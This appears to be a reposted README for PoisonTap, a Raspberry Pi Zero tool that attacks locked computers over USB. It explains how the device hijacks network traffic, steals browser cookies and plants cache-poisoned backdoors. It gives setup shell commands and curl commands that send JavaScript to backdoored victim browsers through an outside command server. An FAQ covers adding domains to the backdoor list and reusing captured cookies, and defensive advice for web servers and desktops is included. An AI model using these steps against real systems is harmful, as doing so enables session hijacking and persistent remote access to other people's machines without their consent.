Exploits locked/password prote
Created by @SamyKamkar || https://samy.pl
When PoisonTap (Raspberry Pi Zero & Node.js) is plugged into a locked/password protected computer, it:
emulates an Ethernet device over USB (or Thunderbolt) hijacks all Internet traffic from the machine (despite being a low priority/unknown network interface) siphons and stores HTTP cookies and sessions from the web browser for the Alexa top 1,000,000 websites exposes the internal router to the attacker, making it accessible remotely via outbound WebSocket and DNS rebinding (thanks Matt Austin for rebinding idea!) installs a persistent web-based backdoor in HTTP cache for hundreds of thousands of domains and common Javascript CDN URLs, all with access to the user's cookies via cache poisoning allows attacker to remotely force the user to make HTTP requests and proxy back responses (GET & POSTs) with the user's cookies on any backdoored domain does not require the machine to be unlocked backdoors and remote access persist even after device is removed and attacker sashays away(incredible HTML5 canvas animation by Ara)
PoisonTap evades the following security mechanisms: Password Protected Lock Screens Routing Table priority and network interface Service Order Same-Origin Policy X-Frame-Options HttpOnly Cookies SameSite cookie attribute Two-Factor/Multi-Factor Authentication (2FA/MFA) DNS Pinning Cross-Origin Resource Sharing (CORS) HTTPS cookie protection when Secure cookie flag & HSTS not enabled DemoPoisonTap is built for the $5 Raspberry Pi Zero without any additional components other than a micro-USB cable & microSD card, or can work on any Raspberry Pi (1/2/3) with an Ethernet-to-USB/Thunderbolt dongle, or can work on other devices that can emulate USB gadgets such as USB Armory and LAN Turtle.
Live demonstration and more details available in the video:
Point of Contact: @SamyKamkar // https://samy.pl
Released: November 16, 2016
Source code and download: https://github.com/samyk/poisontap
How PoisonTap WorksPoisonTap produces a cascading effect by exploiting the existing trust in various mechanisms of a machine and network, including USB/Thunderbolt, DHCP, DNS, and HTTP, to produce a snowball effect of information exfiltration, network access and installation of semi-permanent backdoors.
In a nutshell, PoisonTap performs the following:
Network Hijacking Attacker plugs PoisonTap (such as weaponized Raspberry Pi Zero) into a locked computer (even if computer is password protected) PoisonTap emulates an Ethernet device (eg, Ethernet over USB/Thunderbolt) -- by default, Windows, OS X and Linux recognize an ethernet device, automatically loading it as a low-priority network device and performing a DHCP request across it, even when the machine is locked or password protected PoisonTap responds to the DHCP request and provides the machine with an IP address, however the DHCP response is crafted to tell the machine that the entire IPv4 space (0.0.0.0 - 255.255.255.255) is part of the PoisonTap's local network, rather than a small subnet (eg 192.168.0.0 - 192.168.0.255) Normally it would be irrelevant if a secondary network device connects to a machine as it will be given lower priority than the existing (trusted) network device and won't supersede the gateway for Internet traffic, but... Any routing table / gateway priority / network interface service order security is bypassed due to the priority of "LAN traffic" over "Internet traffic" PoisonTap exploits this network access, even as a low priority network device, because the subnet of a low priority network device is given higher priority than the gateway (default route) of the highest priority network device This means if traffic is destined to 1.2.3.4, while normally this traffic would hit the default route/gateway of the primary (non-PoisonTap) network device, PoisonTap actually gets the traffic because the PoisonTap "local" network/subnet supposedly contains 1.2.3.4, and every other IP address in existence ;) Because of this, all Internet traffic goes over PoisonTap, even though the machine is connected to another network device with higher priority and proper gateway (the true wifi, ethernet, etc.)If you are running a web server, securing against PoisonTap is simple:
Use HTTPS exclusively, at the very least for authentication and authenticated content Honestly, you should use HTTPS exclusively and always redirect HTTP content to HTTPS, preventing a user being tricked into providing credentials or other PII over HTTP Ensure Secure flag is enabled on cookies, preventing HTTPS cookies from leaking over HTTP When using remote Javascript resources, use the Subresource Integrity script tag attribute Use HSTS to prevent HTTPS downgrade attacks Desktop Security Adding cement to your USB and Thunderbolt ports can be effective Closing your browser every time you walk away from your machine can work, but is entirely impractical Disabling USB/Thunderbolt ports is also effective, though also impractical Locking your computer has no effect as the network and USB stacks operate while the machine is locked, however, going into an encrypted sleep mode where a key is required to decrypt memory (e.g., FileVault2 + deep sleep) solves most of the issues as your browser will no longer make requests, even if woken up DownloadSource code: https://github.com/samyk/poisontap
Installation / File BreakdownNote: If you find the device is NOT acting as an Ethernet controller automatically (older versions of Windows, for example), you can change the VID and PID in pi_startup.sh
# Instructions adjusted from https://gist.github.com/gbaman/50b6cca61dd1c3f88f41 sudo bash # If Raspbian BEFORE 2016-05-10, then run next line: BRANCH=next rpi-update echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces echo "dtoverlay=dwc2" >> /boot/config.txt echo -e "dwc2\ng_ether" >> /etc/modules sudo sed --in-place "/exit 0/d" /etc/rc.local echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local mkdir /home/pi/poisontap chown -R pi /home/pi/poisontap apt-get update && apt-get upgrade apt-get -y install isc-dhcp-server dsniff screen nodejs
Place dhcpd.conf in /etc/dhcp/dhcpd.conf and the rest of the files in /home/pi/poisontap, then reboot to ensure everything is working.
There are a number of files in the repo, which are used on different sides. The list:
backdoor.html - Whenever a http://hostname/PoisonTap URL is hit to exfiltrate cookies, this file is what is returned as the force-cached content. It contains a backdoor that produces an outbound websocket to samy.pl:1337 (adjustable to any host/port) that remains opens waiting for commands from the server. This means when you load an iframe on a site, such as http://hostname/PoisonTap, this is the content that gets populated (even after PoisonTap is removed from the machine). backend_server.js - This is the Node.js server that you run on your Internet-accessible server. It is what the backdoor.html connects to (eg, samy.pl:1337). This is the same server you connect to send commands to your PoisonTapped minion machines, eg# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
pi_poisontap.js - This runs via Node.js on the Raspberry Pi Zero and is the HTTP server responsible for handling any HTTP requests intercepted by PoisonTap, storing siphoned cookies, and injecting the cached backdoors.
pi_startup.sh - This runs upon startup on the Raspberry Pi Zero in order to set the device up to emulate an Ethernet-over-USB gadget, set up our evil DHCP server, allow traffic rerouting, DNS spoofing, and to launch pi_poisontap.js above.
target_backdoor.js - This file is prepended to any CDN-related Javascript files, thus backdooring them, e.g. Google CDN's jQuery URL.
target_injected_xhtmljs.html - This is the code that gets injected into unintentional/background HTTP/AJAX requests on the victim's machine and spawns the entire attack. It is constructed in a way that it can be interpreted as HTML or as Javascript and still execute the same code. Additionally, the amazing HTML5 canvas is by the incredible Ara oen CodePen and was too amazing not to include. This is the graphical craziness that appears when the page gets taken over by PoisonTap.
poisontap.cookies.log - This file is generated once the user's machine starts sending HTTP requests to PoisonTap and logs the cookie from the browser along with the associated URL/domain it belongs to.
Frequently Asked Questions
Q: How do you add additional domains to be backdoored?
A: The list of domains to be backdoored is set in target_injected_xhtmljs.html
by the getDoms()
function. This itself is populated by the alexa1m.sh
script in the root of the repo. If you wish to add additional domains to this list, you can simply amend the return call in getDoms()
.
Q: How do you use the captured cookies?
A: You can use the Document.cookie API directly from the JavaScript console in your browser to set cookies. This StackOverflow post also has a few Chrome-specific suggestions, for example the Cookie Inspector Chrome extension.
Q: How do I clean Poisontap from a machine?
A: You should clear the local OS DNS cache, as well as any browser caches. You may also need to invalidate any logged-in sessions at the time, which may have leaked cookies. Ensure that these invalidate existing cookies, rather than simply logging you out. (If you want to safetly work with a PoisonTap device on your current machine, make sure to exit any browser, then you should be able to safetly connect it to your machine).
Contact
Point of Contact: @SamyKamkar
You can see more of my projects or contact me at https://samy.pl.
版权声明:
1、该文章(资料)来源于互联网公开信息,我方只是对该内容做点评,所分享的下载地址为原作者公开地址。2、网站不提供资料下载,如需下载请到原作者页面进行下载。